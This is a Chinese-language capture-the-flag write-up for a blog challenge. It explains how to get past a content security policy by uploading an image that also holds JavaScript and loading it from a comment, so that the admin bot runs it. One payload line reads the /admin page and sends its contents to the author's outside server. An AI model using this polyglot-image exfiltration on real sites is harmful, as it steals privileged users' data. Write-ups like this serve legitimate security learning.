题目链接:https://stupid_blog.tjctf.org/
打开后发现可以注册或者登录,尝试注册admin账号,不出所料提示admin已被注册。
正常注册后进来是这样的:
有三个功能:跟管理员报告一个用户,上传一张图片,写留言。
先从最直观的写留言进行测试,尝试alert(1),发现没有过滤,成功插入
但是并没有执行,有CSP限制:
没有直接设置'script-src',则如果可以把js脚本上传到这个页面,就可以在留言那里使用src=来执行js脚本,而目前可以上传图片,关于在图片中藏js脚本可以看我这篇博客:
那大概思路就是这样了,上传包含脚本的图片,留言src调用上传的脚本,然后报告管理员让他访问这个页面来偷取admin才有的东西(比如cookie?)
先测试一下脚本,上传包含alert(1)的图片,然后留言
EUSTIAR/pfp是图片上传后的路径
但是发现并没有弹窗,查看console提示:
可以手动更改编码 charset="ISO-8859-1"让图片头的十六进制字符正常显示。
更改之后成功弹框
接下来就是更改一下js的内容,然后report 自己的账号,让admin的东西打到自己的vps上,可以使用这样的代码
*/=1;x=new XMLHttpRequest();x.open("GET","/admin",false);x.send(null);document.location="http://eustiar.com/y"+x.responseText;/*
配合我之前提到的博客的脚本生成图片,用这个代码替换脚本中生成变量e的字符串即可。
特别说一下,因为图片最开始有不在注释符号里的几个字符:ˇÿˇ‡
所以实际连接起来的脚本是这样的(方便截图换了个行):
代码开头的=1;也正是为了消除前面ˇÿˇ‡这个变量的影响。
这样就可以把admin可以看到的东西都发送到自己的vps上。
成功report之后,查看自己vps的日志发现
copy下来urldecode即可找到flag